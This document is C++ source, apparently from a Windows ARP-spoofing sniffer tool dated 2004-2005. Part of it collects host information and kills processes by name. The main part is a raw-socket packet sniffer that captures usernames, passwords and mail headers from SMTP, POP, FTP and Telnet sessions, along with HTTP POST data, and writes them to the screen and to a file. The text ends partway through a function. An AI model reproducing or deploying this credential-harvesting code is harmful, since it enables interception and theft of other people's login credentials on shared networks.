	if(GetVersionEx(&osversion))
	{
		SystemInfo.OSMajorVersion.Format("%d",osversion.dwMajorVersion);
		SystemInfo.OSMinorVersion.Format("%d",osversion.dwMinorVersion);
		switch(osversion.dwPlatformId)
		{
		 case VER_PLATFORM_WIN32s:
			 SystemInfo.OSName="Win32s on Windows 3.1";
			 break;
		 case VER_PLATFORM_WIN32_WINDOWS:
			 SystemInfo.OSName="Windows95/98";
			 break;
		 case VER_PLATFORM_WIN32_NT:
			 SystemInfo.OSName="Windows NT";
			 break;
		 default:
			 SystemInfo.OSName="Unknow OS";
			 break;
		}
	}
	else
	{
		SystemInfo.OSName="get os error";
		SystemInfo.OSMajorVersion="get major version error";
		SystemInfo.OSMinorVersion="get minor version error";
	}

	//获取内存信息
	MEMORYSTATUS memory_status;
	memory_status.dwLength=sizeof(MEMORYSTATUS);
	GlobalMemoryStatus(&memory_status);
	/*
	if(1){
	*/
	SystemInfo.TotalPhyMemory.Format("%ld",memory_status.dwTotalPhys);
	SystemInfo.TotalVirtualMemory.Format("%ld",memory_status.dwTotalVirtual);
	SystemInfo.AvailPhyMemory.Format("%ld",memory_status.dwAvailPhys);
	SystemInfo.AvailVirtualMemory.Format("%ld",memory_status.dwAvailVirtual);
	SystemInfo.UseedMemory.Format("%ld",memory_status.dwMemoryLoad);
	/*   }

	else{
	SystemInfo.TotalPhyMemory="get memory error";
	SystemInfo.TotalVirtualMemory="get memory error";
	SystemInfo.AvailPhyMemory="get memory error";
	SystemInfo.AvailVirtualMemory="get memory error";
	SystemInfo.UseedMemory="get memory error";
	}
	*/

	//当前目录
	char dir[MAX_PATH];
	if(GetCurrentDirectory(MAX_PATH,dir)) 
		SystemInfo.CurrentDirectory.Format("%s",dir);
	else 
		SystemInfo.CurrentDirectory="get path error"; 

	//系统目录
	if(GetSystemDirectory(dir,MAX_PATH)) 
		SystemInfo.SystemDirectory.Format("%s",dir);
	else 
		SystemInfo.SystemDirectory="get path error"; 
	
	//临时目录
	if(GetTempPath(MAX_PATH,dir)) 
		SystemInfo.TempDirectory.Format("%s",dir);
	else 
		SystemInfo.TempDirectory="get path error";

	//Window目录
	if(GetWindowsDirectory(dir,MAX_PATH)) 
		SystemInfo.WinDirectory.Format("%s",dir);
	else 
		SystemInfo.WinDirectory="get path error"; 

	errorcode=0;
	return 0;
}

int PcInfor::GetDriverInfo()
{
	//get driver info
	__int64 driver_mask;
	int i;
	DWORD driver_flag;
	unsigned char ch;
	char DriverName[4];
	CString TotalSize,AvailSize,UseSize,DriveName,FileSystem,FileSystemFlag,SerialNum,VolInfo,ErrorString;
	driver_mask=1;
	driver_flag=GetLogicalDrives();
	ULARGE_INTEGER bytesforcaller,totalbytes,freebytes;
	i=0;
	DriverName[1]=':';
	DriverName[2]='\\';
	DriverName[3]='\0';
	DriverNum=0;
	for(ch='A';ch<='Z';ch++){
		DriveName="get info error";
		TotalSize="get info error";
		AvailSize="get info error";
		UseSize="get info error";
		FileSystem="get info error";
		FileSystemFlag="get info error";
		SerialNum="get info error";
		VolInfo="get info error";
		ErrorString="get info ok";
		if(driver_mask&driver_flag){
			DriverName[0]=ch;
			DriveName.Format("%s",DriverName);
			if(GetDiskFreeSpaceEx(DriverName,&bytesforcaller,&totalbytes,&freebytes)){
				int totalMB,freeMB,useMB;
				char volname[MAX_PATH];
				char filesystem_name[MAX_PATH];
				DWORD filesystem_flag,serialnum,maxlength;
				totalMB=totalbytes.QuadPart/1024/1024;
				freeMB=freebytes.QuadPart/1024/1024;
				if(totalMB==-1) totalMB=0;
				if(freeMB==-1) freeMB=0;
				useMB=totalMB-freeMB;
				if(useMB<0) useMB=0;
				TotalSize.Format("%d",totalMB);
				AvailSize.Format("%d",freeMB);
				UseSize.Format("%d",useMB);
				if(GetVolumeInformation(DriverName,volname,MAX_PATH,&serialnum,&maxlength,&filesystem_flag,filesystem_name,MAX_PATH)){
					if(filesystem_flag&FS_CASE_IS_PRESERVED) FileSystemFlag="FA_CASE_IS_PRESERVED";
					if(filesystem_flag&FS_CASE_SENSITIVE) FileSystemFlag="FS_CASE_SENSITIVE";
					if(filesystem_flag&FS_PERSISTENT_ACLS) FileSystemFlag="FS_PERSISTENT_ACLS";
					if(filesystem_flag&FS_UNICODE_STORED_ON_DISK) FileSystemFlag="FS_UNICODE_STORED_ON_DISK";
					if(filesystem_flag&FS_VOL_IS_COMPRESSED) FileSystemFlag="FS_VOL_IS_COMPRESSED";
					SerialNum.Format("%0xH",serialnum);
					SerialNum.Insert(SerialNum.GetLength()/2+1,"-");
					VolInfo.Format("%s",volname);
					FileSystem.Format("%s",filesystem_name);
			 }
				else ErrorString="获取驱动器卷标失败";
			} 
			else ErrorString="驱动器未准备好"; 
			///*
			DriverInfo[i].DriverAvailSize=AvailSize; 
			DriverInfo[i].DriverFileSystem=FileSystem;
			DriverInfo[i].DriverFileSystemFlag=FileSystemFlag;
			DriverInfo[i].DriverName=DriveName;
			DriverInfo[i].DriverSerialNum=SerialNum;
			DriverInfo[i].DriverTotalSize=TotalSize;
			DriverInfo[i].DriverUseedSize=UseSize;
			DriverInfo[i].DriverVolInfo=VolInfo;
			DriverInfo[i].ErrorString=ErrorString;
			DriverInfo[i].Next=NULL;
			i++;
			DriverNum++;
			//*/
		}
		driver_mask<<=1;
	}
	return 0;
}

int PcInfor::GetPcInfo()
{
	GetPcSystemInfo();
	GetDriverInfo();
	GetPsList();
	GetLocalIp();
	return 0;
}

//获取错误码
char * PcInfor::GetLastError()
{
	return PcInfoError[ErrorCode];
}

//获取错误码
char * PcInfor::GetLastError(int errorcode)
{
	return PcInfoError[errorcode];
}

//进程列表
int PcInfor::GetPsList()
{
	HANDLE ProcHdl;
	PROCESSENTRY32 Pe32={0};
	ProcHdl=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
	ProcessNum=0;
	if(ProcHdl==((HANDLE)-1)) return 1;
	Pe32.dwSize=sizeof(PROCESSENTRY32);
	if(Process32First(ProcHdl,&Pe32))
	{
		do{
			ProcessInfo[ProcessNum].ProcessName=Pe32.szExeFile;
			ProcessInfo[ProcessNum].ProcessId=(DWORD)Pe32.th32ProcessID;
			ProcessInfo[ProcessNum].ParentProcessId=(DWORD)Pe32.th32ParentProcessID;
			ProcessNum++;
		}while(Process32Next(ProcHdl,&Pe32));
	}
	CloseHandle(ProcHdl);
	return 0;
}

//设置进程权限
int PcInfor::SetPrivilege(HANDLE token_hdl,LPCTSTR lp_privilege)
{
	TOKEN_PRIVILEGES tp;
	LUID luid;
	if(!LookupPrivilegeValue(NULL,lp_privilege,&luid))
	{
		return 0;
	}
	tp.PrivilegeCount=1;
	tp.Privileges[0].Luid=luid;
	tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
	if(!AdjustTokenPrivileges(token_hdl,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL))
	{
		return 0;
	}
	return 1;
}

//杀进程,通过进程ID
int PcInfor::KillProc(DWORD pid)
{
	BOOL killed=false;
	HANDLE proc_hdl,token_hdl;
	__try
	{
		if(pid>=0)
		{
			OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&token_hdl);
			if(token_hdl) SetPrivilege(token_hdl,SE_DEBUG_NAME);
			if((proc_hdl=OpenProcess(PROCESS_ALL_ACCESS,false,pid))!=NULL)
			{
				if(TerminateProcess(proc_hdl,1)) killed=true;
			}
		}
	}
	__finally
	{
		if(proc_hdl!=NULL) CloseHandle(proc_hdl);
		if(token_hdl!=NULL) CloseHandle(token_hdl);
	}
	if(killed) return 1;
	return 0;
}

//杀进程,通过进程名字
int PcInfor::KillProcByName(char *exename)
{
	GetPsList();
	int i;
	bool killed=false;
	CString DestExeName;
	DestExeName.Format("%s",exename);
	DestExeName.MakeLower();
	for(i=0;i<ProcessNum;i++)
	{
		ProcessInfo[i].ProcessName.MakeLower();
		if(DestExeName==ProcessInfo[i].ProcessName)
		{
			if(KillProc(ProcessInfo[i].ProcessId)) killed=true;
		}
	}
	if(killed) return 1;
	else return 0;
}

//查看TCP监听的连接,生成文件
void PcInfor::BornTcpListen()
{
	//DOS命令输出到文件
	system("netstat -ano|find \"LISTENING\">tcplisten.txt");
}

//查看UDP监听的连接,生成文件
void PcInfor::BornUdpListen()
{
	//DOS命令输出到文件
	system("netstat -ano|find \"UDP\">udplisten.txt");
}

//查看监听的端口
int PcInfor::GetListenPort()
{
	FILE *fin;
	char getstring[150],tempstring[150];
	fin=fopen("tcplisten.txt","r");
	int port,pid,temp;
	CString CPort,CPid,CType;
	PortNum=0;
	if(fin!=NULL)
	{
		while(!feof(fin))
		{
			fgets(getstring,sizeof(getstring),fin);
			sscanf(getstring,"%s%d.%d.%d.%d:%d%d.%d.%d.%d:%d%s%d",tempstring,&temp,&temp,&temp,&temp,&port,&temp,&temp,&temp,&temp,&temp,tempstring,&pid);
			CPort.Format("%d",port);
			CPid.Format("%d",pid);
			CType="TCP";
			if(InsertPortList(CPort,CPid,CType)) PortNum++;
		}
		fclose(fin);
	}
	fin=fopen("udplisten.txt","r");
	if(fin!=NULL){
		while(!feof(fin)){
			fgets(getstring,sizeof(getstring),fin);
			sscanf(getstring,"%s%d.%d.%d.%d:%d%s%d",tempstring,&temp,&temp,&temp,&temp,&port,tempstring,&pid);
			CPort.Format("%d",port);
			CPid.Format("%d",pid);
			CType="UDP";
			if(InsertPortList(CPort,CPid,CType)) PortNum++;
		}
		fclose(fin);
	}
	CType.Format("%d",PortNum);
	TRACE(CType);
	return PortNum;
}

//监听端口和进程的信息
bool PcInfor::InsertPortList(CString port,CString pid, CString type)
{
	int i;
	bool caninsert=true;
	for(i=0;i<PortNum;i++)
	{
		if(PortToProcess[i].Protocol==type&&PortToProcess[i].Port==port)
		{
			caninsert=false;
			break;
		}
	}
	if(caninsert)
	{
		PortToProcess[PortNum].Port=port;
		PortToProcess[PortNum].Pid=pid;
		PortToProcess[PortNum].Protocol=type;
	}
	return caninsert;
}

//查看进程名字
void PcInfor::FindProcName()
{
	int i,j;
	char num[20];
	for(i=0;i<PortNum;i++)
	{
		wsprintf(num,"%s",PortToProcess[i].Pid);
		for(j=0;j<ProcessNum;j++)
		{
			if(ProcessInfo[j].ProcessId==(DWORD)atoi(num))
			{
				PortToProcess[i].ProcName=ProcessInfo[j].ProcessName;
			}
		}
	}
}

//查看进程目录
void PcInfor::FindProcPath()
{
	int i;
	char cmd[100];
	FILE *fout;
	DeleteFile("procpath.txt");
	fout=fopen("getprocess.bat","w");
	if(access("tlist.exe",0)!=0)
	{
		AfxMessageBox("tlist.exe文件不存在!");
		return;
	}
	for(i=0;i<PortNum;i++)
	{
		if(PortToProcess[i].ProcName=="System") wsprintf(cmd,"tlist.exe %s|find \"System\">>procpath.txt\r\n",PortToProcess[i].Pid);
		else wsprintf(cmd,"tlist.exe %s|find \"CmdLine:\">>procpath.txt\r\n",PortToProcess[i].Pid);
		if(fout!=NULL) fputs(cmd,fout);
	}
	if(fout!=NULL)
	{
		fputs("exit",fout);
		system("start getprocess.bat");
		fclose(fout);
	}
}

void PcInfor::GetProcPath()
{
	FILE *fin;
	fin=fopen("procpath.txt","r");
	CString tempstr;
	CString Path;
	int index,i;
	char getstring[500];
	i=0;
	if(fin!=NULL)
	{
		while(!feof(fin))
		{
			fgets(getstring,sizeof(getstring),fin);
			tempstr.Format("%s",getstring);
			index=tempstr.FindOneOf("CmdLine:");
			if(i>(PortNum-1)) break;
			if(index==-1)
			{
				PortToProcess[i].ProcPath="no get path";
				i++;
				continue;
			}
			index+=9;
			Path=tempstr.Mid(index,tempstr.GetLength()-index);
			PortToProcess[i].ProcPath.Format("%s",Path);
			i++;
		}
		fclose(fin);
	}
	else AfxMessageBox("没有找到路径文件");
}

void PcInfor::GetPortToProcessInfo()
{
	int i;
	BornTcpListen();
	BornUdpListen();
	GetListenPort();
	FindProcName();
	FindProcPath();
	for(i=0;i<10;i++) Sleep(1000);
	GetProcPath();
	DeleteTempFile();
	WriteProcinfo();
}

//删除临时文件
void PcInfor::DeleteTempFile()
{
	DeleteFile("tcplisten.txt");
	DeleteFile("udplisten.txt");
	DeleteFile("procpath.txt");
	DeleteFile("getprocess.bat");
}

//把本地信息输出到文件
void PcInfor::WriteProcinfo()
{
	int i;
	FILE *fout;
	char tostring[500];
	fout=fopen("procinfo.txt","w");
	if(fout!=NULL)
	{
		fputs("Potocol\tPort\tPid\tProcName\t\t\tProcPath\r\n",fout);
		for(i=0; i<PortNum; i++)
		{
			wsprintf(tostring,"%s\t%s\t%s\t%s\t\t\t%s",PortToProcess[i].Protocol,PortToProcess[i].Port,PortToProcess[i].Pid,PortToProcess[i].ProcName,PortToProcess[i].ProcPath);
			fputs(tostring,fout); 
		}
		fclose(fout);
	}
}

//获取本地IP
void PcInfor::GetLocalIp()
{
	char Ip[MAX_PATH],*ip;
	char pc_name[80];
	struct in_addr in;
	struct hostent *host;
	WORD wVersionRequested;
	WSADATA wsaData;
	wVersionRequested=MAKEWORD(2,0);
	ip=Ip;
	strcpy(ip,"Ip not get!");
	SystemInfo.IP.Format("%s",ip);
	if(WSAStartup(wVersionRequested,&wsaData)) return;
	if(LOBYTE(wsaData.wVersion)!=2||HIBYTE(wsaData.wVersion)!=0)
	{
		WSACleanup();
		return;
	}
	if(gethostname(pc_name,80)==SOCKET_ERROR)
	{
		WSACleanup();
		return;
	}
	if(!(host=gethostbyname(pc_name)))
	{
		WSACleanup();
		return;
	}
	in.s_addr=*((unsigned long *)host->h_addr_list[0]);
	strcpy(ip,inet_ntoa(in));
	WSACleanup();
	SystemInfo.IP.Format("%s",ip);
}

SNIFFER.h


//                             Raw Sniffer Code  V1.2                             //
//                        powered by shadow @2004/11/28                           //
//                   my web:http://www.codehome.6600.org                          //


#define SIO_RCVALL				_WSAIOW(IOC_VENDOR,1)
#define MAX_SUBTHREAD_NUM		50						//最大监听线程
#define LISTEN_PORT				7500					//监听起始端口
#define WM_SNIFFER_STOP			WM_USER+100				//嗅探停止消息
#define WM_SNIFFER_RESTART		WM_USER+101				//嗅探重新开始消息
#define WM_SNIFFER_CLOSE		WM_USER+102				//嗅探彻底关闭消息
/*
#define WM_ALLSNIFFER_STOP WM_USER+103  
#define WM_ALLSNIFFER_CLOSE WM_USER+104
#define WM_ALLSNIFFER_RESTART WM_USER+105
*/
#define SNIFFER_STATE_START		1						//嗅探在进行中
#define SNIFFER_STATE_CLOSE		2						//嗅探已完全关闭
#define SNIFFER_STATE_STOP		3						//嗅探暂停

#define IPPROTO_TCP_TXT			"TCP"
#define IPPROTO_UDP_TXT			"UDP"
#define IPPROTO_ICMP_TXT		"ICMP"
#define IPPROTO_IGMP_TXT		"IGMP"
#define IPPROTO_DEFAULT_TXT		"UNK"

#define ICMP_HEADER_LEN			4						//各协议默认头长,tcp和ip头长可变
#define TCP_HEADER_LEN			20
#define UDP_HEADER_LEN			8
#define IP_HEADER_LEN			20

#define MAXDATALEN				5000					//数据包的数据最大长度

//4字节ip地址,相当于DWORD FROMIP
typedef struct _IPADDRESS
{ 
	unsigned char address[4];
}IPADDRESS;

//IP头定义
typedef struct _IP
{ 
	unsigned char VersionHdl; 							//4位版本号和4位ip头长,每位代表4字节长度
	unsigned char ServiceType;							//服务类型
	unsigned short TotalLen;  							//数据包总长
	unsigned short Identifier;							//标志
    unsigned short FragOff;   							//偏移量
	unsigned char TTL;        							//生存周期
	unsigned char Protocol;   							//协议类型
	unsigned short IpChkSum;  							//校验码
	IPADDRESS FromIP;         							//源IP地址
	IPADDRESS ToIP;           							//目的IP地址
}IP_HEADER;   

//UDP头定义
typedef struct _UDP
{
    WORD FromPort;            							//源端口
	WORD ToPort;              							//目的端口
	WORD UdpLen;              							//udp头长
	WORD UdpChkSum;           							//校验码
}UDP_HEADER;

//TCP头定义
typedef struct _TCP
{
    WORD FromPort;            							//源端口
	WORD ToPort;              							//目的端口
	DWORD SeqNum;             							//顺序码
	DWORD ACKNum;             							//回应码
	BYTE HeaderLen;           							//TCP头长
	BYTE Flags;               							//标志
	WORD Window;              							//窗口大小
	WORD TcpChkSum;           							//校验码
	WORD UrgPtr;              							//紧急指针
}TCP_HEADER;

//ICMP头定义
typedef struct _ICMP
{
    BYTE Type;                							//类型
	BYTE Code;                							//区别码
	WORD IcmpChkSum;          							//校验码
}ICMP_HEADER;

//敏感信息存储结构体,包括smtp,pop,ftp,telnet
typedef struct _LISTENIPINFO
{  
	char proto[8];										//一次点对点会话只占用一个该结构体
	char sourceip[20];
	char sourceport[8];
	char destip[20];
	char destport[8];
	char username[50];
	char password[50];
	char mailfrom[100];
	char rcptto[100];
	int step;
	unsigned long lrecord_time;							//最后收到的数据包时间
}LISTENIPINFO,LPLISTENIPINFO;

//解析数据包之后的信息
typedef struct _PACKETINFO
{
	char Protocol[8];
	char FromIp[20];
	char FromPort[8];
	char DestIp[20];
	char DestPort[8];
	char PacketData[MAXDATALEN];
	int     DataLen;
	bool    Checked;
}PACKETINFO;

//用户定义信息结构体
typedef struct _USERINFO
{
	CString ProtoType;                					//协议类型
	CString sourceip;                 					//源ip
	CString sourceport;               					//源端口
	CString destip;                   					//目的ip
	CString destport;                 					//目的端口
	char SnifferDataPath[MAX_PATH];   					//smtp和pop嗅探路径
	bool SmtpSniffStart;              					//各项开始标记
	bool PopSniffStart;
	bool TelnetSniffStart;
	bool PostSniffStart;			  					//HTTP中POST的数据
	bool FtpSniffStart; 
	bool PacketSniffStart;
	bool LogData;					  					//输出到文件
	bool Echo;											//回显
	bool Filter;										//过虑0字节数据包
	bool OutputByHex;									//十六进制或者ASCII
	bool HighSniff;										//是否粗略嗅探,丢包率高,cpu利用率低 基本0
	int Way;                   							//嗅探方式,1[单向嗅探],0[双向嗅探]
	int MaxData;               							//最大记录,单位M
	int timeout;               							//嗅探超时,超过一定时间[s],信息存储区将会清空被重复利用
}USERINFO,LPUSERINFO;

//SOCKET RawSocket;//监听原始套接字
class SNIFFER  
{
public:
	SNIFFER();
	virtual ~SNIFFER();

public:
	int MainThreadId;									//主线程ID				
	int SubThreadNum;									//子线程个数
	int SubThreadId[MAX_SUBTHREAD_NUM];					//子线程列表
	int ErrorCode;										//错误码

public:
	int AnalysePacket(char *buffer);					//分析数据包
	int SnifferClose();									//关闭嗅探
	int ReStart();										//重新开始嗅探
	int Start(int type);								//开始嗅探
	int Stop();											//停止嗅探

private:
	bool WsaStartup;									//SOCKET成功初始化
	char * GetLastError(int errorcode);					//获取错去码
	char * SnifferError[14];							//错误码列表
	int SnifferState;									//嗅探状态
	LPVOID Form_ptr;

	//辅助函数
public:
	char * GetLocalIp();								//获取本地IP
	char * GetProtocol(unsigned char proto);			//获得协议类型
	CString GetCurrentSystemTime();						//获取时间

	//回显和保存数据包
	void EchoSnifferString(int i,int SniffType);		//回显敏感数据嗅探结果,包括smtp,ftp,pop,telnet
	void EchoPacketString(int SniffType);				//回显数据包
	void WriteSnifferString(int i,int SniffType);		//嗅探结果写文件
	void WritePacketString(int SniffType);				//输出普通包和POST数据包
	int SaveSnifferData();								//存储和回显普通包

	//数据包的分析
	int CheckSmtpPacket();								//检查smtp包
	int CheckPopPacket();								//检查pop包
	int CheckTelnetPacket();							//检查telnet包
	int CheckFtpPacket();								//检查ftp包

	//监听的管理
	int IpIsListened();									//IP是否被监听//判断会话是否已经在监听队列,返回队列下标,没有返回-1
	void UpdateLastVisitTime(int i);					//更新最后收到数据包的时间
	int InsertListenIpList();							//把回话插入到队列
	void ResetListenIp(int i);							//重置监听队列某项
	void BornRawSocket(SOCKET &Socket);					//产生原始套接字

};

SNIFFER.cpp


//                  Arp Sniffer Code  V2.1 for ARPCHEATSNIFFER                    //
//                        powered by shadow @2005/06/02                           //
//                   my web:http://www.codehome.6600.org                          //


#include "stdafx.h"
#include "SNIFFER.h"
#include "BASE641.h"
#include "PcInfor.h"

#pragma comment(lib,"wsock32.lib")
#pragma warning(disable:4996)

#ifndef CHEAT_INFO
#define CHEAT_INTO		0
#define ONLY_CHEAT		1
#define CHEAT_AND_SNIFF 2
#endif

#define SMTPSTEP		5				//各项嗅探完成步骤
#define FTPSTEP			2
#define POPSTEP			2
#define TELNETSTEP		2
//#define MAX_TIMEOUT    120			//嗅探超时

#define SMTP			1              //各项类别标记
#define POP				2
#define FTP				3
#define TELNET			4
#define POST			5              
#define NORMAL			6              //普通未处理数据包

//外部全局变量
extern USERINFO			sniffuserinfo;
extern void				WriteUserDefine();
extern PcInfor			mypcinfo;
extern int				RunType;
extern unsigned long	LostPacket;

//本地全局变量
LISTENIPINFO			ListenIpList[MAX_SUBTHREAD_NUM];    //监听列表
PACKETINFO				m_PI,m_PI2;							//分析之后的数据包信息
SOCKET					RawSocket;							//原始套接字
FILE					*fsniffer;							//输出文件指针
int						BasePort;							//原始套接字监听端口其实地址

//线程函数
UINT StatusWatchThread(LPVOID info);						//监听队列状态线程
UINT SnifferThread(LPVOID form_ptr);						//主嗅探线程

//监听队列状态线程
UINT StatusWatchThread(LPVOID info)
{
	SNIFFER *pSniffer = (SNIFFER *)info;

	long current_seconds;
	int i,timeout;
	SYSTEMTIME systemtime;
	while(true)
	{
		Sleep(100);
		GetSystemTime(&systemtime);
		current_seconds = systemtime.wHour*3600+systemtime.wMinute*60+systemtime.wSecond;
		for(i=0; i<MAX_SUBTHREAD_NUM; i++)
		{
			timeout = current_seconds-ListenIpList[i].lrecord_time;
			if(timeout > sniffuserinfo.timeout && ListenIpList[i].lrecord_time !=0 && ListenIpList[i].proto[0]!=0)
			{
				pSniffer->ResetListenIp(i);
				if(sniffuserinfo.Echo) printf("\r\n销毁超时信息存储区域ListenIpList[%d]:[OK]\r\n",i);
			}
		}
	}
}

//主嗅探线程
UINT SnifferThread(LPVOID form_ptr)
{
	MSG msg;
	SNIFFER *getform=static_cast<SNIFFER *>(form_ptr);
	getform->MainThreadId = GetCurrentThreadId();
	printf("\r\nCheck Thread ok...\n");

	while(true)
	{
		if(PeekMessage(&msg, NULL, WM_SNIFFER_CLOSE, WM_SNIFFER_CLOSE, PM_REMOVE))
		{
			closesocket(RawSocket);
			TRACE("mainthread close ok1 and send message!");
			break;
		}
		if(PeekMessage(&msg, NULL, WM_SNIFFER_STOP,WM_SNIFFER_STOP,PM_REMOVE))
		{
			TRACE("go stop ok!");
			while(true)
			{
				Sleep(1);
				if(PeekMessage(&msg,NULL,WM_SNIFFER_RESTART,WM_SNIFFER_RESTART,PM_REMOVE))
				{
					TRACE("restart ok!");
					break;
				}
				if(PeekMessage(&msg,NULL,WM_SNIFFER_CLOSE,WM_SNIFFER_CLOSE,PM_REMOVE))
				{
					closesocket(RawSocket);
					TRACE("thread close ok!2");
					return 0;
				}
			}
		}
		if(!m_PI.Checked)
		{
			if(sniffuserinfo.PacketSniffStart) getform->SaveSnifferData();
			if(sniffuserinfo.SmtpSniffStart&&m_PI.DestPort=="25"&&m_PI.DataLen!=0) getform->CheckSmtpPacket();
			else if(sniffuserinfo.FtpSniffStart&&m_PI.DestPort=="21"&&m_PI.DataLen!=0)  getform->CheckFtpPacket();
			else if(sniffuserinfo.PopSniffStart&&m_PI.DestPort=="110"&&m_PI.DataLen!=0) getform->CheckPopPacket();
			else if(sniffuserinfo.TelnetSniffStart&&m_PI.DestPort=="23"&&m_PI.DataLen!=0) getform->CheckTelnetPacket();
			else;
			m_PI.Checked=true;
		}
		if(m_PI2.Checked)
		{
			if(sniffuserinfo.PacketSniffStart) getform->SaveSnifferData();
			if(sniffuserinfo.SmtpSniffStart&&m_PI2.DestPort=="25"&&m_PI2.DataLen!=0) getform->CheckSmtpPacket();
			else if(sniffuserinfo.FtpSniffStart&&m_PI2.DestPort=="21"&&m_PI2.DataLen!=0)  getform->CheckFtpPacket();
			else if(sniffuserinfo.PopSniffStart&&m_PI2.DestPort=="110"&&m_PI2.DataLen!=0) getform->CheckPopPacket();
			else if(sniffuserinfo.TelnetSniffStart&&m_PI2.DestPort=="23"&&m_PI2.DataLen!=0) getform->CheckTelnetPacket();
			else;
			m_PI2.Checked=false;
		}
	}

	return 0;
}

//

///辅助函数/
//获取本地IP
char* SNIFFER::GetLocalIp()
{
	char hostname[100];
	char *hostip;
	hostent *myhost;
	gethostname(hostname,100);
	myhost=gethostbyname(hostname);
	hostip=inet_ntoa(*(in_addr *)myhost->h_addr_list[0]);
	return hostip;
}

//获得协议类型
char* SNIFFER::GetProtocol(unsigned char proto)
{  
	switch(proto)
	{
	case IPPROTO_TCP:
		return IPPROTO_TCP_TXT;
	case IPPROTO_UDP:
		return IPPROTO_UDP_TXT;
	case IPPROTO_ICMP:
		return IPPROTO_ICMP_TXT;
	case IPPROTO_IGMP:
		return IPPROTO_IGMP_TXT;
	default:
		return IPPROTO_DEFAULT_TXT;
	}
}

//获取时间
CString SNIFFER::GetCurrentSystemTime()
{
	SYSTEMTIME systemtime;
	GetSystemTime(&systemtime);
	CString datetime;
	datetime.Format("%d-%d-%d %d:%d:%d",systemtime.wYear,systemtime.wMonth,systemtime.wDay,systemtime.wHour,systemtime.wMinute,systemtime.wSecond);
	return datetime;
}


///回显数据/
//回显敏感数据嗅探结果,包括smtp,ftp,pop,telnet
void SNIFFER::EchoSnifferString(int i,int SniffType)
{
	CString type;
	switch(SniffType)
	{
	case SMTP:
		type="SMTP";
		break;
	case FTP:
		type="FTP";
		break;
	case POP:
		type="POP";
		break;
	case TELNET:
		type="TELNET";
		break;
	default:
		break;
	}
	printf("\r\n--------> %s 嗅探结果:\r\n",type);
	printf("%-4s%-17s%-6s--> %-17s%-6s %s\r\n",ListenIpList[i].proto,ListenIpList[i].sourceip,ListenIpList[i].sourceport,ListenIpList[i].destip,ListenIpList[i].destport,GetCurrentSystemTime());
	printf("UserName:%s\r\n",ListenIpList[i].username);
	printf("PassWord:%s\r\n",ListenIpList[i].password);
	if(SniffType == SMTP)
	{
		printf("%s\r\n",ListenIpList[i].mailfrom);
		printf("%s\r\n",ListenIpList[i].rcptto);
	}
}

//嗅探结果写文件
void SNIFFER::WriteSnifferString(int i,int SniffType)
{
	CString type;
	switch(SniffType)
	{
	case SMTP:
		type="SMTP";
		break;
	case FTP:
		type="FTP";
		break;
	case POP:
		type="POP";
		break;
	case TELNET:
		type="TELNET";
		break;
	default:break;
	}
	fsniffer = fopen(sniffuserinfo.SnifferDataPath,"ab+");
	if(fsniffer == NULL) return;
	fprintf(fsniffer,"\r\n--------> %s 嗅探结果:\r\n",type);
	fprintf(fsniffer,"%-4s%-17s%-6s--> %-17s%-6s %s\r\n",ListenIpList[i].proto,ListenIpList[i].sourceip,ListenIpList[i].sourceport,ListenIpList[i].destip,ListenIpList[i].destport,GetCurrentSystemTime());
	fprintf(fsniffer,"UserName:%s\r\n",ListenIpList[i].username);
	fprintf(fsniffer,"PassWord:%s\r\n",ListenIpList[i].password);
	if(SniffType == SMTP)
	{
		fprintf(fsniffer,"%s\r\n",ListenIpList[i].mailfrom);
		fprintf(fsniffer,"%s\r\n",ListenIpList[i].rcptto);
	}
	fclose(fsniffer);
}

//回显数据包
void SNIFFER::EchoPacketString(int SniffType)
{
	if (m_PI.DataLen == 0)	return;

	//if(SniffType == POST)
	printf("---------------------嗅探结果------------------------------\n");
	printf("时间	:%s\n",GetCurrentSystemTime());
	printf("协议	:%-4s\n", m_PI.Protocol);
	printf("源IP	:%-17s\n", m_PI.FromIp);
	printf("源PORT	:%-6s\n", m_PI.FromPort);
	printf("目标IP	:%-17s\n", m_PI.DestIp);
	printf("目标PORT:%-6s\n", m_PI.DestPort);
	printf("大小	:%d",m_PI.DataLen);
	printf("\n");

	printf("原始数据:\n");
	printf("%s\n",m_PI.PacketData);

	//十六进制输出
	if(sniffuserinfo.OutputByHex)
	{	
		unsigned char HexData[MAXDATALEN];
		printf("十六进制:\n");
		memcpy(HexData, m_PI.PacketData, m_PI.DataLen);
		for(int i=0; i<m_PI.DataLen; i++)
		{
			printf("%02X ",HexData[i]);
		}
	}
	printf("\n---------------------------------------------------\n");
}

//输出普通包和POST数据包
void SNIFFER::WritePacketString(int SniffType)
{
	unsigned char HexData[MAXDATALEN];
	ZeroMemory(HexData,sizeof(HexData));
	fsniffer = fopen(sniffuserinfo.SnifferDataPath,"ab+");
	if(fsniffer != NULL)
	{
		if(SniffType == POST)
		{
			fprintf(fsniffer,"\r\n--------> POST 嗅探结果:\r\n%-4s%-17s%-6s-->  %-17s%-6s%5d Bytes %s\r\n",m_PI.Protocol,m_PI.FromIp,m_PI.FromPort,m_PI.DestIp,m_PI.DestPort,m_PI.DataLen,GetCurrentSystemTime());
			fwrite(m_PI.PacketData, m_PI.DataLen, 1, fsniffer);
			fputs("\r\n", fsniffer);
			fflush(fsniffer);
			fclose(fsniffer);
			return;
		}
		fprintf(fsniffer,"%-6s%-17s%-8s-->  %-17s%-6s%5d Bytes %s\r\n---------------------------------------------------------------------------------------------\r\n",m_PI.Protocol,m_PI.FromIp,m_PI.FromPort,m_PI.DestIp,m_PI.DestPort,m_PI.DataLen,GetCurrentSystemTime());

		//十六进制输出
		if(sniffuserinfo.OutputByHex)
		{
			memcpy(HexData, m_PI.PacketData, m_PI.DataLen);
			for(int i=0,j=1; i<m_PI.DataLen; i++,j++)
			{
				fprintf(fsniffer,"0x%02X,",HexData[i]);
				if(j%20==0)
				{
					fputs("\r\n",fsniffer);
					j=0;
				}
			}
		}
		else
		{
			fwrite(m_PI.PacketData, m_PI.DataLen, 1, fsniffer);
		}

		fputs("\r\n\r\n---------------------------------------------------------------------------------------------\r\n",fsniffer);
		fflush(fsniffer);
		fclose(fsniffer);
	}
	else 
	{
		printf("File can not create...\r\n");
	}
}

//存储和回显普通包
int SNIFFER::SaveSnifferData()
{
	bool cansave = false;
